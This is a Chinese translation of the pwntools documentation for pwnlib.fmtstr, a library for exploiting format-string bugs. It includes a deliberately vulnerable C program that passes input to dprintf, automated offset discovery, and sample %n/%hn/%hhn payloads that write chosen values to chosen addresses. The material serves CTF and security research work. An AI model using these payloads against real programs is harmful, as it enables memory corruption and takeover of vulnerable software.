Skip to content

Latest commit

 

History

History
176 lines (140 loc) · 6.57 KB

pwnlib.fmtstr-Format_string_bug_exploitation_tools.md

File metadata and controls

176 lines (140 loc) · 6.57 KB

pwnlib.fmtstr - 格式化字符串错误执行工具

提供一些工具来执行格式化字符串错误

Examples

>>> program = tempfile.mktemp()
>>> source  = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
...        char buff[1024];
...        void *ptr = NULL;
...        int *my_var = TARGET;
...        ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
...        if(ptr != MEMORY_ADDRESS)
...        {
...                perror("mmap");
...                return EXIT_FAILURE;
...        }
...        *my_var = 0x41414141;
...        write(1, &my_var, sizeof(int *));
...        scanf("%s", buff);
...        dprintf(2, buff);
...        write(1, my_var, sizeof(int));
...        return 0;
... }''')
>>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
>>> def exec_fmt(payload):
...     p = process(program)
...     p.sendline(payload)
...     return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print hex(unpack(p.recv(4)))
0x1337babe

Example - Payload generation

# we want to do 3 writes
writes = {0x08041337:   0xbfffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)

Example - Automated exploitation

# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload
def send_payload(payload):
        log.info("payload = %s" % repr(payload))
        p.sendline(payload)
        return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()

** _class _ pwnlib.fmtstr.FmtStr**(execute_fmt, offset=None, padlen=0, numbwritten=0) [source]

提供自动化格式化字符串的执行。

每当自动化进程想要与易受攻击的进程进行通信时,它都会调用一个函数。这个函数带有一个参数,该参数必须发送给易受攻击的进程,并且必须返回进程的返回。

如果没有给出偏移参数,则尝试通过泄漏的堆栈数据找到正确的偏移量。

Parameters:

  • execute_fmt(function) - 函数调用与易受攻击的进程进行通信
  • offset(int) - 控制的第一个格式化程序的偏移量
  • padlen(int) - 要在有效载荷之前添加的pad的大小
  • numbwritten(int) - 已写入的字节数

实例化一个试图自动利用易受攻击进程的对象

Parameters:

  • execute_fmt(function) - 函数调用与易受攻击的进程进行通信
  • offset(int) - 控制的第一个格式化程序的偏移量
  • padlen(int) - 要在有效载荷之前添加的pad的大小
  • numbwritten(int) - 已写入的字节数

** execute_writes() → None** [source]

生成有效载荷并将其发送给易受攻击的进程

Returns: None

** write(addr, data) → None** [source]

为了声明:我想在addr写数据。

Parameters:

  • addr(int) - 你想要写的数据的地址
  • data(int) - 你想要写入地址的数据

Returns: None

Examples:

>>> def send_fmt_payload(payload):
...     print repr(payload)
...
>>> f = FmtStr(send_fmt_payload, offset=5)
>>> f.write(0x08040506, 0x1337babe)
>>> f.execute_writes()
'\x06\x05\x04\x08\x07\x05\x04\x08\x08\x05\x04\x08\t\x05\x04\x08%174c%5$hhn%252c%6$hhn%125c%7$hhn%220c%8$hhn'

** pwnlib.fmtstr.fmtstr_payload**(offset, writes, numbwritten=0, write_size='byte')→ str [source]

使用给定的参数制作有效载荷。它可以为32位或64位架构生成的有效载荷。addr的大小取自context.bits

Parameters:

  • offset(int) - 控制的第一个格式化程序的偏移量
  • writes(dict) - 字典的地址和值{addr: value, addr2: value2}
  • numbwritten(int) - 由printf函数写入的字节数
  • write_size(str) - 必须为byte,short或者int。如果要逐byte写入,逐short写入或逐int写入(hhn, hn 或者n)

Returns: 需要写入的有效载荷

Examples:

>>> context.clear(arch = 'amd64')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n%3972547906c%2$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00%47774c%1$hn%22649c%2$hn%60617c%3$hn%4$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00%126c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn%237c%5$hhn%6$hhn%7$hhn%8$hhn'
>>> context.clear(arch = 'i386')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00%322419386c%1$n'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn'
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00%174c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn'